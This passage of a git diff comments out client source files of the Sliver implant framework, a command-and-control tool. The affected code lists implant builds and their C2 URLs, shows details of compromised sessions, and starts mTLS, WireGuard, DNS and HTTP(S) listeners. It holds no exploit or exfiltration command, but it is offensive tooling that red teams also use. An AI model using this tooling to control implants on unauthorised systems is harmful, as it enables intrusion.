+// // Try to find local IPs and colorize them
+// subnet := -1
+// if strings.Contains(ip, "/") {
+// parts := strings.Split(ip, "/")
+// subnetStr := parts[len(parts)-1]
+// subnet, err = strconv.Atoi(subnetStr)
+// if err != nil {
+// subnet = -1
+// }
+// }
- if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
- fmt.Printf(bold+green+" IP Address: %s%s\n", ip, normal)
- } else if 32 < subnet && !isLoopback(ip) {
- fmt.Printf(bold+cyan+" IP Address: %s%s\n", ip, normal)
- } else {
- fmt.Printf(" IP Address: %s\n", ip)
- }
- }
- }
-}
+// if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
+// fmt.Printf(bold+green+" IP Address: %s%s\n", ip, normal)
+// } else if 32 < subnet && !isLoopback(ip) {
+// fmt.Printf(bold+cyan+" IP Address: %s%s\n", ip, normal)
+// } else {
+// fmt.Printf(" IP Address: %s\n", ip)
+// }
+// }
+// }
+// }
-func isLoopback(ip string) bool {
- if strings.HasPrefix(ip, "127") || strings.HasPrefix(ip, "::1") {
- return true
- }
- return false
-}
+// func isLoopback(ip string) bool {
+// if strings.HasPrefix(ip, "127") || strings.HasPrefix(ip, "::1") {
+// return true
+// }
+// return false
+// }
diff --git a/client/command/implants.go b/client/command/implants.go
index c0430589cc..c22e8dda0e 100644
--- a/client/command/implants.go
+++ b/client/command/implants.go
@@ -1,97 +1,97 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "bytes"
- "context"
- "fmt"
- "strings"
- "text/tabwriter"
+// import (
+// "bytes"
+// "context"
+// "fmt"
+// "strings"
+// "text/tabwriter"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/desertbit/grumble"
+// )
-func listImplantBuilds(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
+// func listImplantBuilds(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
- if 0 < len(builds.Configs) {
- displayAllImplantBuilds(builds.Configs)
- } else {
- fmt.Printf(Info + "No implant builds\n")
- }
-}
+// if 0 < len(builds.Configs) {
+// displayAllImplantBuilds(builds.Configs)
+// } else {
+// fmt.Printf(Info + "No implant builds\n")
+// }
+// }
-func rmImplantBuild(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- _, err := rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
- Name: ctx.Args.String("implant-name"),
- })
- if err != nil {
- fmt.Printf(Warn+"Failed to delete implant %s\n", err)
- return
- }
-}
+// func rmImplantBuild(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// _, err := rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
+// Name: ctx.Args.String("implant-name"),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Failed to delete implant %s\n", err)
+// return
+// }
+// }
-func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) {
+// func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) {
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
- fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("OS/Arch")),
- strings.Repeat("=", len("Debug")),
- strings.Repeat("=", len("Format")),
- strings.Repeat("=", len("Command & Control")),
- )
+// fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("OS/Arch")),
+// strings.Repeat("=", len("Debug")),
+// strings.Repeat("=", len("Format")),
+// strings.Repeat("=", len("Command & Control")),
+// )
- for sliverName, config := range configs {
- if 0 < len(config.C2) {
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- sliverName,
- fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
- fmt.Sprintf("%v", config.Debug),
- config.Format,
- fmt.Sprintf("[1] %s", config.C2[0].URL),
- )
- }
- if 1 < len(config.C2) {
- for index, c2 := range config.C2[1:] {
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- "",
- "",
- "",
- "",
- fmt.Sprintf("[%d] %s", index+2, c2.URL),
- )
- }
- }
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
- }
- table.Flush()
- fmt.Printf(outputBuf.String())
-}
+// for sliverName, config := range configs {
+// if 0 < len(config.C2) {
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// sliverName,
+// fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+// fmt.Sprintf("%v", config.Debug),
+// config.Format,
+// fmt.Sprintf("[1] %s", config.C2[0].URL),
+// )
+// }
+// if 1 < len(config.C2) {
+// for index, c2 := range config.C2[1:] {
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// "",
+// "",
+// "",
+// "",
+// fmt.Sprintf("[%d] %s", index+2, c2.URL),
+// )
+// }
+// }
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
+// }
+// table.Flush()
+// fmt.Printf(outputBuf.String())
+// }
diff --git a/client/command/info.go b/client/command/info.go
index 936c272fd5..96cef4b89f 100644
--- a/client/command/info.go
+++ b/client/command/info.go
@@ -1,114 +1,114 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
-
- insecureRand "math/rand"
-
- consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
-
- "github.com/desertbit/grumble"
-)
-
-func info(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
- var session *clientpb.Session
- sessionName := ctx.Args.String("session")
- if ActiveSession.GetInteractive() != nil {
- session = ActiveSession.GetInteractive()
- } else if sessionName != "" {
- session = GetSession(sessionName, rpc)
- }
-
- if session != nil {
- fmt.Printf(bold+" ID: %s%d\n", normal, session.ID)
- fmt.Printf(bold+" Name: %s%s\n", normal, session.Name)
- fmt.Printf(bold+" Hostname: %s%s\n", normal, session.Hostname)
- fmt.Printf(bold+" UUID: %s%s\n", normal, session.UUID)
- fmt.Printf(bold+" Username: %s%s\n", normal, session.Username)
- fmt.Printf(bold+" UID: %s%s\n", normal, session.UID)
- fmt.Printf(bold+" GID: %s%s\n", normal, session.GID)
- fmt.Printf(bold+" PID: %s%d\n", normal, session.PID)
- fmt.Printf(bold+" OS: %s%s\n", normal, session.OS)
- fmt.Printf(bold+" Version: %s%s\n", normal, session.Version)
- fmt.Printf(bold+" Arch: %s%s\n", normal, session.Arch)
- fmt.Printf(bold+" Remote Address: %s%s\n", normal, session.RemoteAddress)
- fmt.Printf(bold+" Proxy URL: %s%s\n", normal, session.ProxyURL)
- fmt.Printf(bold+" Poll Interval: %s%d\n", normal, session.PollInterval)
- fmt.Printf(bold+"Reconnect Interval: %s%d\n", normal, session.ReconnectInterval)
- } else {
- fmt.Printf(Warn+"No target session, see `help %s`\n", consts.InfoStr)
- }
-}
-
-func ping(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- nonce := insecureRand.Intn(999999)
- fmt.Printf(Info+"Ping %d\n", nonce)
- pong, err := rpc.Ping(context.Background(), &sliverpb.Ping{
- Nonce: int32(nonce),
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info+"Pong %d\n", pong.Nonce)
- }
-}
-
-func getPID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- fmt.Printf("%d\n", session.PID)
-}
-
-func getUID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- fmt.Printf("%s\n", session.UID)
-}
-
-func getGID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- fmt.Printf("%s\n", session.GID)
-}
-
-func whoami(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- fmt.Printf("%s\n", session.Username)
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+
+// insecureRand "math/rand"
+
+// consts "github.com/bishopfox/sliver/client/constants"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+
+// "github.com/desertbit/grumble"
+// )
+
+// func info(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+
+// var session *clientpb.Session
+// sessionName := ctx.Args.String("session")
+// if ActiveSession.GetInteractive() != nil {
+// session = ActiveSession.GetInteractive()
+// } else if sessionName != "" {
+// session = GetSession(sessionName, rpc)
+// }
+
+// if session != nil {
+// fmt.Printf(bold+" ID: %s%d\n", normal, session.ID)
+// fmt.Printf(bold+" Name: %s%s\n", normal, session.Name)
+// fmt.Printf(bold+" Hostname: %s%s\n", normal, session.Hostname)
+// fmt.Printf(bold+" UUID: %s%s\n", normal, session.UUID)
+// fmt.Printf(bold+" Username: %s%s\n", normal, session.Username)
+// fmt.Printf(bold+" UID: %s%s\n", normal, session.UID)
+// fmt.Printf(bold+" GID: %s%s\n", normal, session.GID)
+// fmt.Printf(bold+" PID: %s%d\n", normal, session.PID)
+// fmt.Printf(bold+" OS: %s%s\n", normal, session.OS)
+// fmt.Printf(bold+" Version: %s%s\n", normal, session.Version)
+// fmt.Printf(bold+" Arch: %s%s\n", normal, session.Arch)
+// fmt.Printf(bold+" Remote Address: %s%s\n", normal, session.RemoteAddress)
+// fmt.Printf(bold+" Proxy URL: %s%s\n", normal, session.ProxyURL)
+// fmt.Printf(bold+" Poll Interval: %s%d\n", normal, session.PollInterval)
+// fmt.Printf(bold+"Reconnect Interval: %s%d\n", normal, session.ReconnectInterval)
+// } else {
+// fmt.Printf(Warn+"No target session, see `help %s`\n", consts.InfoStr)
+// }
+// }
+
+// func ping(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// nonce := insecureRand.Intn(999999)
+// fmt.Printf(Info+"Ping %d\n", nonce)
+// pong, err := rpc.Ping(context.Background(), &sliverpb.Ping{
+// Nonce: int32(nonce),
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info+"Pong %d\n", pong.Nonce)
+// }
+// }
+
+// func getPID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// fmt.Printf("%d\n", session.PID)
+// }
+
+// func getUID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// fmt.Printf("%s\n", session.UID)
+// }
+
+// func getGID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// fmt.Printf("%s\n", session.GID)
+// }
+
+// func whoami(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// fmt.Printf("%s\n", session.Username)
+// }
diff --git a/client/command/job.go b/client/command/job.go
index 15e27e4f49..610bad0525 100644
--- a/client/command/job.go
+++ b/client/command/job.go
@@ -1,231 +1,231 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
- "io/ioutil"
- "os"
- "sort"
- "strings"
- "text/tabwriter"
-
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
-
- // "github.com/bishopfox/sliver/protobuf/sliverpb"
-
- "github.com/desertbit/grumble"
- // "github.com/golang/protobuf/proto"
-)
-
-func jobs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- if ctx.Flags.Int("kill") != -1 {
- killJob(uint32(ctx.Flags.Int("kill")), rpc)
- } else if ctx.Flags.Bool("kill-all") {
- killAllJobs(rpc)
- } else {
- jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
- // Convert to a map
- activeJobs := map[uint32]*clientpb.Job{}
- for _, job := range jobs.Active {
- activeJobs[job.ID] = job
- }
- if 0 < len(activeJobs) {
- printJobs(activeJobs)
- } else {
- fmt.Printf(Info + "No active jobs\n")
- }
- }
-}
-
-func killAllJobs(rpc rpcpb.SliverRPCClient) {
- jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- for _, job := range jobs.Active {
- killJob(job.ID, rpc)
- }
-}
-
-func killJob(jobID uint32, rpc rpcpb.SliverRPCClient) {
- fmt.Printf(Info+"Killing job #%d ...\n", jobID)
- jobKill, err := rpc.KillJob(context.Background(), &clientpb.KillJobReq{
- ID: jobID,
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info+"Successfully killed job #%d\n", jobKill.ID)
- }
-}
-
-func printJobs(jobs map[uint32]*clientpb.Job) {
- table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
- fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("ID")),
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("Protocol")),
- strings.Repeat("=", len("Port")))
-
- var keys []int
- for _, job := range jobs {
- keys = append(keys, int(job.ID))
- }
- sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
-
- for _, k := range keys {
- job := jobs[uint32(k)]
- fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
- }
- table.Flush()
-}
-
-func startMTLSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- server := ctx.Flags.String("server")
- lport := uint16(ctx.Flags.Int("lport"))
-
- fmt.Printf(Info + "Starting mTLS listener ...\n")
- mtls, err := rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
- Host: server,
- Port: uint32(lport),
- Persistent: ctx.Flags.Bool("persistent"),
- })
- if err != nil {
- fmt.Printf("\n"+Warn+"%s\n", err)
- } else {
- fmt.Printf("\n"+Info+"Successfully started job #%d\n", mtls.JobID)
- }
-}
-
-func startWGListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- lport := uint16(ctx.Flags.Int("lport"))
- nport := uint16(ctx.Flags.Int("nport"))
- keyExchangePort := uint16(ctx.Flags.Int("key-port"))
-
- fmt.Printf(Info + "Starting Wireguard listener ...\n")
- wg, err := rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
- Port: uint32(lport),
- NPort: uint32(nport),
- KeyPort: uint32(keyExchangePort),
- Persistent: ctx.Flags.Bool("persistent"),
- })
- if err != nil {
- fmt.Printf("\n"+Warn+"%s\n", err)
- } else {
- fmt.Printf("\n"+Info+"Successfully started job #%d\n", wg.JobID)
- }
-}
-
-func startDNSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
- domains := strings.Split(ctx.Flags.String("domains"), ",")
- for _, domain := range domains {
- if !strings.HasSuffix(domain, ".") {
- domain += "."
- }
- }
-
- lport := uint16(ctx.Flags.Int("lport"))
-
- fmt.Printf(Info+"Starting DNS listener with parent domain(s) %v ...\n", domains)
- dns, err := rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
- Domains: domains,
- Port: uint32(lport),
- Canaries: !ctx.Flags.Bool("no-canaries"),
- Persistent: ctx.Flags.Bool("persistent"),
- })
- if err != nil {
- fmt.Printf("\n"+Warn+"%s\n", err)
- } else {
- fmt.Printf("\n"+Info+"Successfully started job #%d\n", dns.JobID)
- }
-}
-
-func startHTTPSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- domain := ctx.Flags.String("domain")
- website := ctx.Flags.String("website")
- lport := uint16(ctx.Flags.Int("lport"))
-
- cert, key, err := getLocalCertificatePair(ctx)
- if err != nil {
- fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
- return
- }
-
- fmt.Printf(Info+"Starting HTTPS %s:%d listener ...\n", domain, lport)
- https, err := rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
- Domain: domain,
- Website: website,
- Port: uint32(lport),
- Secure: true,
- Cert: cert,
- Key: key,
- ACME: ctx.Flags.Bool("lets-encrypt"),
- Persistent: ctx.Flags.Bool("persistent"),
- })
- if err != nil {
- fmt.Printf("\n"+Warn+"%s\n", err)
- } else {
- fmt.Printf("\n"+Info+"Successfully started job #%d\n", https.JobID)
- }
-}
-
-func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
- if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
- return nil, nil, nil
- }
- cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
- if err != nil {
- return nil, nil, err
- }
- key, err := ioutil.ReadFile(ctx.Flags.String("key"))
- if err != nil {
- return nil, nil, err
- }
- return cert, key, nil
-}
-
-func startHTTPListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- domain := ctx.Flags.String("domain")
- lport := uint16(ctx.Flags.Int("lport"))
-
- fmt.Printf(Info+"Starting HTTP %s:%d listener ...\n", domain, lport)
- http, err := rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
- Domain: domain,
- Website: ctx.Flags.String("website"),
- Port: uint32(lport),
- Secure: false,
- Persistent: ctx.Flags.Bool("persistent"),
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info+"Successfully started job #%d\n", http.JobID)
- }
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+// "io/ioutil"
+// "os"
+// "sort"
+// "strings"
+// "text/tabwriter"
+
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+
+// // "github.com/bishopfox/sliver/protobuf/sliverpb"
+
+// "github.com/desertbit/grumble"
+// // "github.com/golang/protobuf/proto"
+// )
+
+// func jobs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// if ctx.Flags.Int("kill") != -1 {
+// killJob(uint32(ctx.Flags.Int("kill")), rpc)
+// } else if ctx.Flags.Bool("kill-all") {
+// killAllJobs(rpc)
+// } else {
+// jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+// // Convert to a map
+// activeJobs := map[uint32]*clientpb.Job{}
+// for _, job := range jobs.Active {
+// activeJobs[job.ID] = job
+// }
+// if 0 < len(activeJobs) {
+// printJobs(activeJobs)
+// } else {
+// fmt.Printf(Info + "No active jobs\n")
+// }
+// }
+// }
+
+// func killAllJobs(rpc rpcpb.SliverRPCClient) {
+// jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// for _, job := range jobs.Active {
+// killJob(job.ID, rpc)
+// }
+// }
+
+// func killJob(jobID uint32, rpc rpcpb.SliverRPCClient) {
+// fmt.Printf(Info+"Killing job #%d ...\n", jobID)
+// jobKill, err := rpc.KillJob(context.Background(), &clientpb.KillJobReq{
+// ID: jobID,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info+"Successfully killed job #%d\n", jobKill.ID)
+// }
+// }
+
+// func printJobs(jobs map[uint32]*clientpb.Job) {
+// table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+// fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("ID")),
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("Protocol")),
+// strings.Repeat("=", len("Port")))
+
+// var keys []int
+// for _, job := range jobs {
+// keys = append(keys, int(job.ID))
+// }
+// sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+
+// for _, k := range keys {
+// job := jobs[uint32(k)]
+// fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
+// }
+// table.Flush()
+// }
+
+// func startMTLSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// server := ctx.Flags.String("server")
+// lport := uint16(ctx.Flags.Int("lport"))
+
+// fmt.Printf(Info + "Starting mTLS listener ...\n")
+// mtls, err := rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
+// Host: server,
+// Port: uint32(lport),
+// Persistent: ctx.Flags.Bool("persistent"),
+// })
+// if err != nil {
+// fmt.Printf("\n"+Warn+"%s\n", err)
+// } else {
+// fmt.Printf("\n"+Info+"Successfully started job #%d\n", mtls.JobID)
+// }
+// }
+
+// func startWGListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// lport := uint16(ctx.Flags.Int("lport"))
+// nport := uint16(ctx.Flags.Int("nport"))
+// keyExchangePort := uint16(ctx.Flags.Int("key-port"))
+
+// fmt.Printf(Info + "Starting Wireguard listener ...\n")
+// wg, err := rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
+// Port: uint32(lport),
+// NPort: uint32(nport),
+// KeyPort: uint32(keyExchangePort),
+// Persistent: ctx.Flags.Bool("persistent"),
+// })
+// if err != nil {
+// fmt.Printf("\n"+Warn+"%s\n", err)
+// } else {
+// fmt.Printf("\n"+Info+"Successfully started job #%d\n", wg.JobID)
+// }
+// }
+
+// func startDNSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+
+// domains := strings.Split(ctx.Flags.String("domains"), ",")
+// for _, domain := range domains {
+// if !strings.HasSuffix(domain, ".") {
+// domain += "."
+// }
+// }
+
+// lport := uint16(ctx.Flags.Int("lport"))
+
+// fmt.Printf(Info+"Starting DNS listener with parent domain(s) %v ...\n", domains)
+// dns, err := rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
+// Domains: domains,
+// Port: uint32(lport),
+// Canaries: !ctx.Flags.Bool("no-canaries"),
+// Persistent: ctx.Flags.Bool("persistent"),
+// })
+// if err != nil {
+// fmt.Printf("\n"+Warn+"%s\n", err)
+// } else {
+// fmt.Printf("\n"+Info+"Successfully started job #%d\n", dns.JobID)
+// }
+// }
+
+// func startHTTPSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// domain := ctx.Flags.String("domain")
+// website := ctx.Flags.String("website")
+// lport := uint16(ctx.Flags.Int("lport"))
+
+// cert, key, err := getLocalCertificatePair(ctx)
+// if err != nil {
+// fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
+// return
+// }
+
+// fmt.Printf(Info+"Starting HTTPS %s:%d listener ...\n", domain, lport)
+// https, err := rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
+// Domain: domain,
+// Website: website,
+// Port: uint32(lport),
+// Secure: true,
+// Cert: cert,
+// Key: key,
+// ACME: ctx.Flags.Bool("lets-encrypt"),
+// Persistent: ctx.Flags.Bool("persistent"),
+// })
+// if err != nil {
+// fmt.Printf("\n"+Warn+"%s\n", err)
+// } else {
+// fmt.Printf("\n"+Info+"Successfully started job #%d\n", https.JobID)
+// }
+// }
+
+// func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
+// if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
+// return nil, nil, nil
+// }
+// cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
+// if err != nil {
+// return nil, nil, err
+// }
+// key, err := ioutil.ReadFile(ctx.Flags.String("key"))
+// if err != nil {
+// return nil, nil, err
+// }
+// return cert, key, nil
+// }
+
+// func startHTTPListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// domain := ctx.Flags.String("domain")
+// lport := uint16(ctx.Flags.Int("lport"))
+
+// fmt.Printf(Info+"Starting HTTP %s:%d listener ...\n", domain, lport)
+// http, err := rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
+// Domain: domain,
+// Website: ctx.Flags.String("website"),
+// Port: uint32(lport),
+// Secure: false,
+// Persistent: ctx.Flags.Bool("persistent"),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info+"Successfully started job #%d\n", http.JobID)
+// }
+// }
diff --git a/client/command/loot.go b/client/command/loot.go
index 46d2cad431..2753445555 100644
--- a/client/command/loot.go
+++ b/client/command/loot.go
@@ -1,798 +1,798 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
